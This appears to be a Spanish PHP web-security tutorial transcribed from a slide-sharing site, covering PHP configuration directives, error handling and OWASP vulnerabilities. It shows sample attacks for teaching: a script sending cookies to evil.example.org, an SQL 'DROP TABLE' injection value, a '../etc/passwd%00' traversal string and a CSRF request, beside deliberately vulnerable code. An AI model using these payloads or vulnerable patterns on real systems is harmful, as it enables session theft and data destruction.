SEGURIDAD PHP EN PROGRAMACIÓN
-
Upload
mercy-santos -
Category
Documents
-
view
211 -
download
0
Transcript of SEGURIDAD PHP EN PROGRAMACIÓN
5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com
http://slidepdf.com/reader/full/seguridad-php-en-programacion 1/30
Seguridad en Aplicaciones WebBasado en la programación en PHP
PHP es una lengua muy fácil a aprender, y muchos
programadores lo aprenden como manera de agregar interactividad a sus Sitio Web. Desafortunadamente, esosignifica a menudo los programadores de PHP, especialmenteésos más nuevos al desarrollo web, cometen ciertos riesgos deseguridad y desaprovechan el potencial que sus usos pueden
contener.
Objetivo del documento
El objetivo de este documento es que el programador que lo lea adquiera unas nociones básicas (y no tan básicas) sobre seguridad que pueda aplicar a la hora de hacer susaplicaciones. La mayoría de temas que aquí se presentan son temas reales, que se producenal no tener el programador tales nociones. La mayoría de temas en los que se va a basar eldocumento están orientados al uso en páginas web.
Entiendo como usuario malintencionado aquel que busca en nuestra aplicación fallas deseguridad y las explota por puro aburrimiento, sin ánimo de reportar esos fallos al programador para que puedan ser subsanados (hay gente que lo hace).
La mejor forma de protegerse es no confiar nunca en cualquier valor que no sea fijo. Si noestás seguro de que una variable va a tener el valor que esperas, o que una llamada aunlink() borra el archivo que quieres, asegúrate, pues puede ser por ahí por donde empieceun ataque.
Asegurarse no consiste en ejecutar el script y decir uy, esto funciona como espero, sino quehay que agotar todas las posibilidades de ataque antes de subir tu página al servidor definitivo.
Cómo leerlo
El documento presupone ciertos conocimientos de PHP, y que el lector sea capaz de poner atención al leer, por lo que se pide encarecidamente que, en caso de que la tengas puesta,quites la música y prestes total atención a lo que hay escrito.
5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com
http://slidepdf.com/reader/full/seguridad-php-en-programacion 2/30
Los bloques de código son ejemplos: los habrá que funcionen y que no. Hay ejemplos de loque hay que hacer, y también de lo que no hay que hacer, todo con el objetivo de que ellector aprenda a arreglar sus errores viendo código de otra persona.
A lo largo de todo el documento se podrán ver ejemplos que presentan fallos de seguridad,
debido a una mala configuración de PHP o un mal uso de las llamadas a las variables.
En otros casos verás ejemplos cuyo código tiene en cuenta los principales aspectos deseguridad. Es muy importante que NO copies y pegues directamente estos códigos en tu página. Antes debes comprender todo lo que se explique para poder aplicarlo.
Directivas de configuración
Archivos de configuración
php.iniArchivo de configuración de PHP. Puedes ver que php.ini estás usando con phpinfo(más adelante se explica qué es y cómo usar phpinfo).
httpd.conf En él guarda su configuración el servidor HTTP Apache; al ser este el más utilizado por desarrolladores y servicios de alojamiento (tanto gratuitos como de pago) es enel que se centrarán los comentarios de este documento. Normalmente se encuentraen el directorio conf en el directorio raíz de Apache.
.htaccessFichero especial que usa Apache en el que se pueden poner ciertas llamadas a susdirectivas o las de algunos módulos que haya cargado. Requiere permisos para poder utilizarlo. Más adelante se enseña a comprobar si es posible su uso.
Tipos de directivas
PHP_INI_SYSTEMLas directivas de este tipo se pueden modificar en el php.ini y en el httpd.conf
PHP_INI_PERDIR Las directivas de este tipo pueden cambiarse en los archivos php.ini, httpd.conf y.htaccess. Para saber cómo cambiarlas en archivos .htaccess consulta la siguientesección.
PHP_INI_USER Según el manual de PHP (en su versión española): La entrada puede definirse enscripts de usuario. Si miramos el manual en inglés (más recomendable, la verdad)veremos que en realidad quiere decir que las directivas pueden ser modificadas en el
5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com
http://slidepdf.com/reader/full/seguridad-php-en-programacion 3/30
registro de Windows. Aunque listada en el manual, parece no haber ningunadirectiva que sea de este tipo (supongo que se podrán modificar las de tipoPHP_INI_SYSTEM). Al no ser la mayoría de servicios de alojamiento usuarios deMicrosoft Windows no explicaré como cambiar estas directivas.
PHP_INI_ALL
Estas directivas pueden ser cambiadas en cualquier parte, incluso en el propio script por medio de ini_set().
Cómo cambiar directivas del tipo PHP_INI_PERDIR
Lo primero que deberías hacer es obtener información sobre la actual configuración delservidor, mediante el uso de estas líneas.
<?phpphpinfo() ?>
La función phpinfo() nos muestra información sobre la configuración de PHP y sobre lamáquina en la que está instalado. En la página que genera veremos como está ajustadoPHP. Es importante familiarizarse con esta función y con su salida, puesto que es básica yse usará muy a menudo.
Antes de explicar como cambiar este tipo de directivas debes asegurarte de que tu servidor cumple una serie de requisitos:
PHP como módulo de Apache Es fácil saber si PHP está compilado o instalado como módulo de Apache.Simplemente tienes que mirar en el phpinfo() la línea en la que pone Server APItenga un valor como Apache 2.0 Handler.
AllowOverride con el valor Options o AllEsto es un poco más pesado de comprobar, hay que hacer lo siguiente: pon en unarchivo llamado .htaccess en el directorio que tengas la página una cadena comoasdasd123. Si Apache muestra un Internal Server Error al actualizar esa página esque tenemos permiso para usarlos.
Si cumples estos dos requisitos ya puedes cambiar el valor de register_globals (u otrasopciones de configuración de PHP) en el archivo .htaccess del directorio sobre el quequeremos aplicar estas reglas (puede que tengas que crearlo):
#Para directivas con valores booleanos (On/Off, 1/0«) se usa php_flag php_flagregister_globals Off
5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com
http://slidepdf.com/reader/full/seguridad-php-en-programacion 4/30
#Para otras directivas se usa php_value php_valueerror_reporting 4095
register_globals
No nos engañemos, tener register_globals a on no es inseguro, lo que provoca los fallos deseguridad es el no programar bien y el no tener en cuenta a posibles atacantes. Cualquier variable que no definamos, o cualquiera de la que no comprobemos datos puede ser víctimade envenenamiento de variables, aquí voy a exponer un poco que hacer en estos casos.
La comunidad PHP decidió desactivarlo por defecto (antes estaba activado) a partir de laversión 4.2.0.
Esta directiva inicialmente era de tipo PHP_INI_ALL (se podía cambiar con ini_set() en el php.ini o mediante archivos .htaccess), pero a partir de PHP 4.2.3 es de tipoPHP_INI_PERDIR (se puede cambiar solamente desde el php.ini o los archivos deconfiguración de Apache). Más abajo se explica como cambiar valores de configuracióncon este tipo de archivos.
La razón por la que en algunos de los ejemplos de este documento se usará register_globals a on es para que se vean los peligros que corres si lo tienes activado, y como (en medida delo posible) subsanarlos.
Razones para tenerlo desactivado
Tenerlo activado no hace más insegura una aplicación, ¿pero tenerlo desactivado la hacemas segura? Sí, así es. No porque nos vaya a proteger contra los "malvados juakers quecomen donuts y pizza", no es milagroso, pero nos va a forzar a no usar variables globales para referirnos a valores pasados por POST, GET, valores de sesión o cookies.
Matrices superglobales ($_GET, $_POST, $_SESSION«)
Mucho se ha hablado de las variables (o matrices) superglobales (las que debes usar para
referirte a lo mencionado anteriormente), pero todavía queda gente que, o bien no lasconoce, o bien cree que no son necesarias, o que simplemente no las usa por pura pereza, por no modificar su código (aunque esto le vaya a beneficiar, y mucho). Qué le vamos ahacer, así somos«
A partir de la versión 4.1.0 de PHP están disponibles estas variables, y a partir de YA (sitodavía no lo haces) debes usarlas.
5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com
http://slidepdf.com/reader/full/seguridad-php-en-programacion 5/30
La diferencia entre las variables normales (presuponiendo el valor de register_globals activado, que es como lo tienen la mayoría de servicios de alojamiento, gracias aaplicaciones como PHP-Nuke y similares) y las matrices superglobales es muy simple.Usando matrices superglobales no se puede producir envenenamiento de variables normalesa través de URL, de cookies falseadas, etc.
La razón de este comportamiento es que register_globals (cuando está activado,obviamente) inyecta los valores de las variables que se pasan al script (lo que en esenciasería como usar la función extract() en cada una de las matrices superglobales), esto esterriblemente dañino si no se sopesan las consecuencias. Imaginemos por un momento quenuestro panel de control comprueba que el usuario está acreditado para acceder a él de lasiguiente forma (el ejemplo es de PHP.net):
<?phpif (usuario_valido()) {
$autorizado = true;}
if ($autorizado) {echo "Bienvenido a mis documentos importantes\n";
} else {echo "No tienes acceso a esta sección\n";
}?>
Poquitas líneas, ¿eh? Pues contienen varios fallos« Si te fijas es muy simple resolverlos.Vamos a analizar el código:
if (usuario_valido()) {$autorizado = true;
}
Si el usuario es válido definimos la variable $autorizado como true, ¿y si no lo está? ¿no ladefinimos? Imagina por un momento que acceden a ese documento con la
urlpanel.php?autorizado=1, ¿que pasaría? saldría el bonito mensaje de Bienvenido a misdocumentos importantes. Recuerda definir siempre las variables que vayas a usar.
El ejemplo anterior, bien programado sería algo parecido a esto:
<?phpif (usuario_valido()) {
5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com
http://slidepdf.com/reader/full/seguridad-php-en-programacion 6/30
//Podemos guardar información útil$_SESSION['autorizado'] = 'Nombre del usuario';
} else {$_SESSION['autorizado'] = false;
}
//$_SESSION['autorizado'] va a estar siempre definidaif ($_SESSION['autorizado'] !== false) {
echo "Bienvenido a mis documentos importantes {$_SESION['autorizado']}\n";} else {
echo "No tienes acceso a esta sección\n";//Finalizamos la ejecución de la aplicación, no nos interesa que se siga interpretando
códigoexit;
}?>
Qué hacer cuando se tiene activado
Puedes intentar desactivarlo usando el método que se explica más arriba. De todas maneras,si programas bien una aplicación (como se detalla en la siguiente sección) es improbableque tener esta directiva activada te afecte en demasía, así que no te preocupes.
Buenas costumbres
A continuación tienes una lista de cosas que debes tener en cuenta:
y Definir siempre las variables antes de usarlas.y Usar matrices superglobales en tus aplicaciones, en detrimento de las antiguas
globales.y No usar nombres típicos para las variables, ya que aumentas la posibilidad de que
un atacante descubra como modificarlas.
error_reporting
Esta directiva, aunque extraordinariamente útil, puede llevar a nuestro atacante a conocer datos sobre nuestras aplicaciones, por lo que distinguiremos dos entornos: el entorno dedesarrollo y el entorno de usuario final. Se explicará en que consiste cada una en sucorrespondiente sección.
error_reporting (tanto la directiva como la función) admiten como parámetro un númeroentero. Puedes usar las constantes numéricas que provee PHP para el control de errores y
5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com
http://slidepdf.com/reader/full/seguridad-php-en-programacion 7/30
combinarlas con operadores bit a bit en el archivo php.ini y en tus aplicaciones, pero no enlos archivos httpd.conf o .htaccess.
Los valores por defecto son los siguientes:
PHP 3El valor por defecto es 7, lo que equivale a E_ERROR | E_WARNING | E_PARSE, pero dado que en PHP 3 no se soportaban las constantes en el archivo php3.ini elvalor había de ser numérico.
PHP 4 y PHP 5E_ALL& ~E_NOTICE. Se muestran todos los errores salvo los de tipo E_NOTICEy E_STRICT (este último solo es aplicable a PHP 5).
Las constantes predefinidas dedicadas al manejo de errores que usaremos habitualmenteson estas:
E_ERROR Errores fatales al ejecutar una aplicación, interrumpen la ejecución del mismo. Estoserrores se producen por ejemplo al intentar utilizar funciones no definidas.
E_WARNINGAdvertencias en tiempo de ejecución, no detienen la ejecución de una aplicación. Se produce cuando (por ejemplo) se proporciona a una función (como fwrite()) unrecurso no válido como parámetro.
E_NOTICE
El tipo menos conocido, junto con E_STRICT, y de los más útiles. Estos errores se producen mayormente al encontrar el intérprete de PHP una variable o constante nodefinida. No detienen la ejecución.
E_ALLAgrupa todos los errores excepto los de tipo E_STRICT.
E_STRICTEstá disponible únicamente a partir de PHP 5. Si habilitas este tipo de error PHPlanzará avisos si encuentra código obsoleto para que el programador (o sea, tú) puedas corregirlo y así mantener la compatibilidad e interoperabilidad.
Cada una de estas constantes tiene un valor numérico, puedes ver el valor de cada unaimprimiendo la constante en cuestión.
Como este tema tiene bastante miga se va a explicar en una sección aparte.
safe_mode
Es de tipo PHP_INI_SYSTEM y está desactivada por defecto.
5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com
http://slidepdf.com/reader/full/seguridad-php-en-programacion 8/30
Esta directiva es, según el manual de PHP, un intento para resolver el problema de laseguridad en un servicio de alojamiento compartido (el más común, poca gente puede permitirse un servidor dedicado).
Básicamente lo que hace esta directiva al estar activada es comprobar que los ficheros sobre
los que operamos desde otro fichero (la aplicación) tienen el mismo dueño (en sistemasUNIX).
Veamos un ejemplo de esto (que puede sonar perfectamente a chino, no te preocupes):
$ ls -l-rw-r--r-- 1 root root 36 2005-04-09 03:02 fichero1.php-rw-r--r-- 1 aeoris aeoris 73 2005-04-09 03:02 fichero2.php
Como se puede ver el archivo con nombre fichero1.php pertenece al superusuario (o root) y
el fichero2.php a aeoris, ahora veamos que pasa si intento leer el contenido de fichero1.phpdesde el archivo que me pertenece (fichero2.php) teniendo safe_mode activado.
Warning: file_get_contents(): SAFE MODE Restriction in effect. The script whose uid is1000 is not allowed to access fichero1.php owned by uid 0 in /var/www/fichero2.php
Al no tener los mismos dueños se produciría un error.
Esto en un momento dado nos podría proteger contra otros usuarios del mismo alojamientoque, por ejemplo, quieran obtener datos sobre nuestras aplicaciones. En el momento en que
intentasen hacerlo no podrían.
Pero« no podrían con PHP« con cualquier lenguaje es una cosa trivial hacer unexplorador de archivos del sistema sencillito, con lo que puede ver donde están nuestrosarchivos, y en la mayoría de casos (al no estar en PHP y no tener safe_mode) visualizar elcódigo fuente.
Mi consejo con este tema es que no confíes demasiado en esta directiva, pues no te protegeen absoluto. Suele ser más molesta que útil (es mi opinión, no ha de tomarse como unreferente).
Teniéndola activada también se restringirán algunas funciones, hay una lista de estasfunciones en el manual de PHP que los mismos escritores definen como posiblementeincorrecta e incompleta.
open_basedir
5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com
http://slidepdf.com/reader/full/seguridad-php-en-programacion 9/30
Es de tipo PHP_INI_SYSTEM y tiene valor nulo por defecto.
Lo que hace es limitar el espacio de trabajo al directorio al que está ajustada la directiva. Siquisieramos incluir un fichero por encima de ese directorio lanzaría un error.
Veamos un ejemplo (teniendo en cuenta que open_basedir vale /var/www):
<?phpreadfile('/etc/resolv.conf');?>
Produciríaeste error:
Warning: readfile(): open_basedir restriction in effect. File(/etc/resolv.conf) is not withinthe allowed path(s): (/var/www/) in /var/www/open_basedir.php on line 3
Este tipo de error normalmente se ve al usar la función copy() para mover archivos que sehan subido con un formulario. Este comportamiento es erróneo y debería usarsemove_uploaded_file() en su lugar.
Esta directiva puede ser útil en un momento dado, pero por lo general dará quebraderos decabeza innecesarios.
Nomenclatura de archivos
Este es un tema un poco retorcido: ¿a qué me refiero con nomenclatura de archivos?Simplemente al nombre que se les pone a los archivos o directorios (que no son más quearchivos que a su vez contienen otros archivos).
Un hacker intentará encontrar el nombre del archivo que contiene datos tales como lacontraseña de la base de datos o la contraseña de acceso al panel de control, datos con losque pueda causar un daño, o simplemente probar la seguridad de una aplicación.
Intenta no poner fácil que se averiguen los nombres de los archivos. Con esto quiero decir que no le pongas al panel de administración como nombre admin.php o cpanel.php (si, estotambién es aplicable si los tienes en directorios a parte«).
He visto gente que le pone extensión .inc (por include supongo) a sus aplicaciones programadas en PHP. Esto es terriblemente peligroso. Accediendo a la URLde el archivo
5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com
http://slidepdf.com/reader/full/seguridad-php-en-programacion 10/30
en el que tengas la conexión a la base de datos por ejemplo tendrían los datos para conectar,con lo que podrían borrarla en un momento dado.
He visto casos de páginas muy importantes y que la mayoría usamos mucho quenombraban a sus archivos con extensiones de este tipo, con lo que obtener el código y hacer
un volcado de la base de datos (nombres de usuario, contraseñas, números de tarjeta decrédito«) no fue nada difícil.
Estos dos últimos párrafos vienen a decir que no debes poner bajo ningún conceptoextensiones que no interprete PHP por defecto a tus aplicaciones.
Si eres un rato cabezón y no quieres cambiar la extensión (¿demasiado trabajo quizá?) terecomiendo que vetes el acceso a estos archivos de forma directa, puedes poner el siguientecódigo en un archivo .htaccess (aunque depende de que tu servidor sea Apache, de que puedas usar .htaccess«):
<FilesMatch "\.inc$">Order allow,denyDeny from all
</FilesMatch>
Las mismas reglas que se explican arriba sobre no poner nombres típicos a los archivos seaplican a los directorios.
Debes cuidar de tener una estructura de directorios limpia y clara de tu aplicación, paratrabajar más cómodamente con ella. Esto no significa que debas descuidar los nombres delos directorios; puedes poner un número aleatorio delante del nombre de cada uno para asímantenerlas más o menos fuera del alcance de ciertos elementos.
Errores
Ya se ha hablado un poco de como los errores son mostrados (o no) por PHP; se ha dichoque, cuando la aplicación se encontraba en el servidor público, la mejor opción era ocultar al usuario los errores lanzados por el intérprete y ofrecerle unos más amigables y porqueno, carecientes de información relativa al servidor. Como se puede suponer, esto es bueno, pero carece de utilidad real si no sabemos siquiera que esos errores han existido. Debemosser informados si ocurren, y esto obviamente no lo podemos dejar en manos del usuario.
Mostrar errores según entorno
5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com
http://slidepdf.com/reader/full/seguridad-php-en-programacion 11/30
Dependiendo de donde tengamos alojada la página (en un servidor local o en uno final)deberemos mostrar o no los errores. Antes de que subas la página debes limar la mayoría deasperezas que pueda tener, aquí verás cómo tener bien configurado el reporte de errores.
y Entornos de desarrollo
En estos casos nos interesa que se muestren absolutamente todos los errores, puesto que nosayudarán a corregir posibles fallas de seguridad (como que no definimos una variable por ejemplo) entre otras cosas.
PHP, como hemos visto antes, ajusta a un valor por defecto la directiva error_reporting ,tenemos dos opciones para cambiarla (supongamos que estás en un servidor local, por tantotienes acceso a todos los ficheros de configuración):
Cambiar la configuración en el php.ini
Esta es la solución más fácil, y también la mejor. En el archivo php.ini localiza lalinea del error_reporting y cambia su valor por E_ALL | E_STRICT (si usas PHP5) o E_ALL si usas PHP 4.
Usar la función error_reporting() Esta solución es bastante pesada, por lo que no la recomiendo. Se trata de llamar ala función error_reporting() en cada uno de los archivos en los que queramosajustar el reporte de errores. Debes llamarla con los parámetros con los que seajustaría la directiva error_reporting (mira el punto anterior).
y Entornos de usuario final
Ten siempre en cuenta al usuario, ¿qué leches le importa que no puedas conectar a la basede datos? ¿o que haya un error de tipo sintáctico? Absolutamente nada. También debesconsiderar que un usuario malicioso podría intentar forzar a que hubiesen errores,consiguiendo de esta manera información que le fuese útil a la hora de intentar vulnerar laseguridad de nuestra aplicación.
¿Qué se puede hacer para remediarlo? Simple. Con las mismas que antes (en el puntoanterior, en nuestro servidor local) hacíamos que se mostrasen todos los errores aquí nos
interesa que no se muestre ninguno.
Para ello haremos uso de otra directiva de PHP, diferente de error_reporting , se trata dedisplay_errors().
Esta directiva es del tipo PHP_INI_ALL, por lo que puedes cambiarla usando ini_set(). Sieliges cambiarla de este tipo debes llevar cuidado, ya que si se produce un error fatal semostará (ya que el ini_set() nunca llegará a ejecutarse, puesto que se ha terminado la
5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com
http://slidepdf.com/reader/full/seguridad-php-en-programacion 12/30
ejecución antes de empezar a interpretarlo). A estas alturas ya conoces como cambiar losvalores de las directivas de otras formas.
Pero« y si se produce un error, ¿cómo nos enteraríamos? ¡Sigue leyendo!.
Registro de errores
Está claro que no todos los errores tienen el mismo impacto en la página, uno por ejemplo puede hacer que salga mal una letra, y otro que una sección no se muestre. Es por ello quedebemos ser informados de todos los errores que ocurran en nuestra página, desde el másinsignificante hasta los más graves.
PHP dispone de varias maneras de registrar los errores, la más común es usar el registro delsistema en sistemas UNIX (syslog) ajustando esto desde el propio php.ini, aunque no esrecomendable, pues no tendremos acceso a este fichero, ya que está restringido al
superusuario. Pasamos a explicar una forma correcta, aunque restrictiva (requiere Apache y poder usar ficheros .htaccess) de cazar hasta los errores de interpretación (aunque estos, enteoría, jamás deberían estar presentes en el servidor).
Tenemos que decirle a PHP tres cosas:
y Que no muestre los errores.y Que los registre.y Un sitio donde registrarlos.
Ahora bien, ya se ha dicho que si lo hacemos en la misma aplicación y se produce un error de los que paran la ejecución esto no nos serviría de nada, por eso debemos añadir al.htaccess lo siguiente:
php_flagdisplay_errorsOff
php_flaglog_errorsOn
php_valueerror_log "Ruta al registro"
En la tercera instrucción has de poner la ruta completa, a ser posible fuera del directoriovisible por el usuario, de un archivo en el cual poner los errores.
Tenemos otro método, que puede usarse para casos puntuales: mandar correos electrónicos.Esto debe ser usado para avisarnos de que la base de datos no conecta, por ejemplo, o queuna consulta SQL ha fallado. Nos serviremos de la función mysql_error() para mostrar estecaso concreto:
5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com
http://slidepdf.com/reader/full/seguridad-php-en-programacion 13/30
<?phpmysql_connect(/* datos de conexión varios*/) || (
mail('[email protected]', 'Fallo al conectar a la base de datos',"MySQL ha devuelto lo siguiente:\n" . mysql_error ())&& die("<p>Estamos experimentando problemas, vuelva luego</p>\n"));
?>
Aspectos de Seguridad en Desarrollos de Aplicaciones Web
Algunos puntos importantes para obtener una aplicación segura:
Contar con una gestión organizacional que apoye fuertemente a la seguridad Establecer una metodología de desarrollo Administración segura de la aplicación
Pilares de seguridad de la Información
Confidencialidad Integridad Disponibilidad
Principios de Seguridad
Minimizar el área de posibles ataques Valores por defecto seguros
Principio de Mínimo Privilegio Separación de Deberes Controlar las Posibles Fallas Seguridad a través de Ocultamiento de Código (Obscurity) Arreglar de manera correcta un problema de seguridad Uso de Sistemas Externos
Desarrollo de Aplicaciones
El Proyecto OWASP
Open Web ApplicationSecurityProject
http://www.owasp.org/
El proyecto estádedicado a encontrar e investigar las causas del software inseguro.
5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com
http://slidepdf.com/reader/full/seguridad-php-en-programacion 14/30
Es una organización sin fines de lucro. La participación en OWASPes libre y estáabierta para todo el mundo. Produce la mayoría de su material en forma abierta y colaborativa.
OWASPTopTen
http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
OWASPpresenta en consenso las diez vulnerabilidades más críticas en Aplicaciones Web.
Cross SiteScripting(XSS) InjectionFlaws Ejecución maliciosa de archivos Referencia insegura a objetos propios de la aplicación Cross SiteRequestForgery(CSRF) Pérdida de la información y manejo inapropiado de errores
Vulnerar Autenticación y Administración de Sesiones Almacenamiento Criptográfico Inseguro Comunicaciones Inseguras Fallo en el acceso a URL restringidas
Vulnerabilidades
XSS
Ocurre cuando una aplicación toma los datos suministrados por el usuario y lo envía alnavegador sin validación ni codificación de contenido.
XSSpermite al ataque ejecutar scripts en el navegador de la víctima, robar sesiones deusuario, modificar sitios web, etc.
Tipos de XSS:
Reflected Stored
DOMInjectionInjectionFlaws
Particularmente SQL Injection, ocurre cuando los datos del usuario son enviados a unintérprete como parte de un comando o query.
5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com
http://slidepdf.com/reader/full/seguridad-php-en-programacion 15/30
Si la entrada del usuario es pasada al intérprete sin validación ni encodeo, la aplicación esvulnerable. $sql= "SELECT * FROM tabla WHERE id= '" . $_REQUEST['id¶] . "¶";
Para impedir injectionsusar APIsseguras, tales como queriesparametrizados fuertementetipadosy librerías de mapeo de objetos relacionales (ORM).
Estas interfaces manejan toda la fuga de datos (³data escaping´) o no poseen escaping.
Mientras que las interfaces seguras resuelven el problema, la validación es recomendadaademás para detectar ataques.
SQL Injection
$idThread= $_POST['idThread'];
$sql= 'SELECT titulo FROM threadsWHEREidThread= ' . $idThread;
if( !es_numerico($idThread) ) {
// No es un número, mensaje de error y exit
...}
Código HTML
<formmethod="post" action="inseguro.php">
<inputtype="text" name="idThread" value="4; DROP TABLE usuarios" />
<inputtype="submit" value="No pulse estebotón" />
</form>
Finalmente«SELECT titulo FROM threadsWHEREidThread= 4;
DROPTABLE usuarios
Ejecución Maliciosa de Archivos
El código vulnerable en la inclusión remota de archivos permite incluir código y datoshostiles.Los desarrolladores a menudo usan o concatenan entradas potencialmentevulnerables.En muchas plataformas los frameworkspermiten el uso de referencias a objetosexternos, URLso referencias al sistema de archivos.
Esto permite realizar:
5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com
http://slidepdf.com/reader/full/seguridad-php-en-programacion 16/30
Ejecución de código remoto Instalación de rootkitremoto Un constructor conocido como vulnerable muy común es:
include$_REQUEST['nombre_archivo];
Referencia insegura a objetos propios de la aplicación
Un desarrollador expone una referencia a un objeto de implementación interna como unarchivo, directorio, registro de base de datos, clave, URL o parámetro de un form.
<selectname="lenguaje">
<optionvalue="en">Ingles</option>
</select>
«require_once($_REQUEST['lenguaje¶]."lenguaje.php");
Este código puede ser atacado usando un stringcomo "../../../../etc/passwd%00" usandonullbyte injection.
CSRF
Un ataque CSRFfuerza al navegador de la víctima a enviar un pedido preautenticado a unaaplicación web vulnerable.
Un ataque típico contra un foro podría tomar el formulario dirigido al usuario para invocar alguna función, como por ejemplo la página de logoutde la aplicación.
<imgsrc=´http://www.ejemplo.com/logout.php´>
Un ataque asífunciona porque las credenciales de autorización del usuario (típicamentecookiesde sesión) podrían ser incluidas automáticamente en los pedidos al navegador, aunsi el atacante no suministra las credenciales.
PHP Top5
PHP Top5(http://www.owasp.org/index.php/PHP_Top_5) es un proyecto deOWASPbasado en la sección de PHP del TOP 20 de SANS (Instituto dedicado a lainvestigación y educación de seguridad informática).
Es una clasificación de cinco vulnerabilidades que afectan particularmente a AplicacionesWeb desarrolladas en el lenguaje PHP.
Ejecución Remota de Código (RemoteCodeExecution)
5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com
http://slidepdf.com/reader/full/seguridad-php-en-programacion 17/30
Cross-sitescripting(XSS) SQL Injection ConfiguraciónPHP Ataques al sistema de archivos
Seguridad en PHP
Muchos olvidan los aspectos de seguridad que deben ser tenidos en cuenta al implementar aplicaciones.
Escribir aplicaciones PHP no es extremadamente difícil. Pero muchos olvidan los aspectosde seguridad que deben ser tenidos en cuenta al implementar estas aplicaciones.
A veces no se piensa en el daño que puede sufrir un sitio web hasta que ya es demasiado
tarde.
Se debe empezar a diseñar con cabeza y no ser meros robots codificando. Veamos un poco más afondo las posibles amenazas y recomendaciones para hacer que nuestro sitio web sea un poco másseguro.
Inyección SQL
Este ataque se produce cuando un atacante ejecuta sentencias SQL en la base de datos delsitio web, insertando en un campo del formulario sentencias SQL dentro de otra sentenciaSQL haciendo que se ejecute la sentencia invasora.
S e recomienda:
y Filtrar los datos. Por ejemplo, si tenemos en nuestro formulario el campousername, y sabemos que los usuarios sólo pueden estar compuestos por letras ynúmeros, no se deben permitir caracteres como " ' " o " = " . O si se trata del campoe-mail, podemos utilizar expresiones regulares para validarlo, como preg_match('/^.+@.+\..{2,3}$/',$_POST['email'])
5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com
http://slidepdf.com/reader/full/seguridad-php-en-programacion 18/30
y Usar funciones que escapan caracteres especiales de una cadena para su uso enuna sentencia SQL, como mysql_real_escape_string(), la cual coloca barrasinvertidas antes de los siguientes caracteres: \x00, \n, \r, \, ', " y \x1a. O addslashes(),(la directiva de PHP magic_quotes_gpc está activada por defecto, y básicamenteejecuta la función addslashes() en todos los datos GET, POST, y COOKIE. No se
debe utilizar addslashes() en las cadenas que ya se han escapado conmagic_quotes_gpc ya que se hará un doble escape).
XSS (Cross Site Scripting)
Las vulnerabilidades de XSS permiten ejecutar código de scripting en el contexto del sitioweb:
y Explotando la confianza que tiene un usuario de un sitio web. Puede que losusuarios no tengan un alto nivel de confianza en un sitio web, pero sí el navegador.Por ejemplo, cuando el navegador envía cookies en una petición.
y Haciendo que los sitios web muestren datos externos. Como aplicaciones demayor riesgo que incluyen foros, clientes de correo web, o contenido de RSS.
y Cuando los datos externos no se filtran adecuadamente un atacante puedeinyectar un contenido. Esto es tan peligroso como dejar que el atacante editecódigo en el servidor.
Un usuario que ejecute este código con JavaScript activado en su navegador seráredireccionado a evil.example.org, y las cookies asociadas al sitio web serán incluidas en la
consulta:
<script>document.location = 'http://evil.example.org/steal_cookies.php?cookies=' +document.cookie</script>
S e recomienda:
5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com
http://slidepdf.com/reader/full/seguridad-php-en-programacion 19/30
y Filtrar todos los datos externos. El filtrado de datos es la práctica más importanteque se puede adoptar. Al validar todos los datos externos a medida que entran ysalen de la aplicación se mitigarán la mayoría de las preocupaciones del XSS.
y Utilizar las funciones que tiene PHP que ayudan al filtrado. Pueden ser útileshtmlentities () que convierte caracteres a entidades HTML, strip_tags () que elimina
las etiquetas HTML y PHP de una cadena y utf8_decode ().y Basarse en listas blancas. Supongamos que los datos no son válidos hasta que no
se pruebe que lo son. Esto implica verificar la longitud y asegurar que sólo loscaracteres válidos son permitidos. Por ejemplo, si se inserta el nombre y apellidos,se debe asegurar que sólo se permiten letras y espacios. Por ejemplo Berners-Lee seconsideraría nula, pero esto se puede arreglar añadiendo este nombre a la lista blanca. Es mejor rechazar datos válidos que aceptar datos maliciosos.
y Utilizar una convención de nomenclatura estricta. Una convención denomenclatura puede ayudar a los desarrolladores a distinguir entre datos filtrados y
sin filtrar.
CSRF (Cross Site Request Forgery)
Explota la confianza que tiene un sitio web en la identidad de un usuario.Un ejemplo sería enviar los siguientes datos en la petición:
GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1
Host: stocks.example.orgUser-Agent: Mozilla/5.0 GeckoAccept: text/xml, image/png, image/jpeg, image/gif, */*Cookie: PHPSESSID=1234
S e recomienda:
y Utilizar POST en lugar de GET en los formularios. Sobre todo cuando se estérealizando una acción que involucra una compra.
y Utilizar $_POST en lugar de confiar en register_globals. Utilizar el métodoPOST es inútil si se confía en register_globals y se referencian variables como$symbol o $quantity. Lo mismo sucede si se utiliza $_REQUEST.
y Generar un token único para cada petición y verificarlo posteriormente.
5/9/2018 SEGURIDAD PHP EN PROGRAMACIÓN - slidepdf.com
http://slidepdf.com/reader/full/seguridad-php-en-programacion 20/30
Directory Transversal
Este ataque se produce cuando se especifican rutas de ficheros como "../../../../file" en losdatos del formulario y mediante un script se llama a estos ficheros. Proporcionando a unatacante la posibilidad de realizar cambios en el sistema de ficheros.
Si dentro del script de PHP se incluye: require $page . '.php'; Sabiendo que esta página sealmacena en /home/someone/public_html/index.php, un atacante podría hacer index.php?page=../secret accediendo a /home/someone/secret.php
S e recomienda:
